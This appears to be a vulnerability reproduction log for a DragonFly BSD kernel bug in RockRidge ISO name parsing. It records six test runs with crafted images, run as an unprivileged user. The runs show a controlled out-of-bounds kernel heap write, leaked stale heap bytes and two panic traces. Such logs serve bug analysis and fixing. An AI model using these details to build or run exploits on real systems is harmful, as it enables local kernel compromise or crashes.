DF-3146 baseline runs — stock kernel DragonFly dfbsd 6.5-DEVELOPMENT #0
(x86_64, INVARIANTS), 2026-09-07. All triggers executed as uid 65534
(nobody); mounts/vnconfig performed by root (setup only).

=== RUN 1: df3146_none.iso (control image, no trigger entries) ===
$ vnconfig -c -S 2048 /dev/vn0 /root/df3146_none.iso
$ mount_cd9660 /dev/vn0 /mnt/df3146
dmesg: cd9660: RockRidge Extension
$ su -m nobody -c "/tmp/trigger dirent /mnt/df3146"
ino=65536 namlen=1 type=0 : namelen=1 name hex: 2e
ino=65536 namlen=2 type=0 : namelen=2 name hex: 2e 2e
ino=65726 namlen=1 type=0 : namlen=1 name hex: 5a
ino=65800 namlen=1 type=0 : namelen=1 name hex: 59
getdents rc=0 errno=0
(control: RRIP mount walks cleanly; no trigger entries present)

=== RUN 2: df3146_pay.iso (control: payload NM only, no NM len=4) ===
ino=65536 namlen=1 type=0 : namelen=1 name hex: 2e
ino=65536 namlen=2 type=0 : namelen=2 name hex: 2e 2e
ino=65726 namlen=16 type=0 : namelen=16 name hex: 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50
ino=65821 namlen=1 type=0 : namelen=1 name hex: 59
getdents rc=0 errno=0
(control: a well-formed NM of length 21 parses as the name "ABCDEFGHIJKLMNOP")

=== RUN 3: df3146_cold1.iso (N=1 rewind; 16 payload bytes -> idp-65536) ===
ino=65536 namlen=1 type=0 : namelen=1 name hex: 2e
ino=65536 namlen=2 type=0 : namelen=2 name hex: 2e 2e
ino=65726 namlen=16 type=0 : namelen=16 name hex: 2e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ino=65829 namlen=1 type=0 : namelen=1 name hex: 59
getdents rc=0 errno=0
TRIGGER FIRED, guest survived:
 - the entry shipped namlen=16 with a name of STALE KERNEL HEAP bytes
   (0x2e 0x2e = leftovers of the ".." strcpy from the previous entry in
   the same idp->current.de.d_name) because the payload "ABCDEFGHIJKLMNOP"
   was bcopy'd to (de.d_name - 65536) instead;
 - silent 16-byte controlled write 64KB below the isoreaddir allocation.

=== RUN 4: df3146_cold20.iso (N=20 rewinds; write at idp-1310720) ===
ino=65536 namlen=1 type=0 : namelen=1 name hex: 2e
ino=65536 namlen=2 type=0 : namelen=2 name hex: 2e 2e
ino=65726 namlen=16 type=0 : namelen=16 name hex: 2e 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00
ino=65981 namlen=1 type=0 : namelen=1 name hex: 59
getdents rc=0 errno=0
(1.25MB below: still mapped heap -> silent write, guest healthy)

=== RUN 5: df3146_warm.iso (NM payload then NM len=4 -> bcopy((size_t)-1)) ===
$ su -m nobody -c "/tmp/trigger dirent /mnt/df3146"
(no output; ssh session died — guest panicked)
serial console (panic.txt):
Fatal trap 12: page fault while in kernel mode
fault virtual address  = 0xfffff8005d685ff9
fault code             = supervisor read data, page not present
instruction pointer    = 0x8:0xffffffff80bcab4f
current process        = 1042 (trigger)
kernel: type 12 trap, code=0
Stopped at      memmove+0x24f:  repe movsq      (%rsi),%es:(%rdi)

=== RUN 6: df3146_ce64.iso (CE-chained, N=16140 rewinds = -1.02GB) ===
$ su -m nobody -c "/tmp/trigger dirent /mnt/df3146"
(no output; guest panicked)
serial console (panic2.txt):
panic: assertion "obj != NULL" failed in vm_object_hold_shared at /usr/src/sys/vm/vm_object.c:330
vm_object_hold_shared() at vm_object_hold_shared+0x3f
vm_fault() at vm_fault+0x408
trap_pfault() at trap_pfault+0x9a
trap() at trap+0x17c
calltrap() at calltrap+0x9
--- trap 000000000000000c, rip = ... isofntrans() at isofntrans+0xe1 ---
(the defname fallback writing at the rewound wild pointer, 1.02GB down)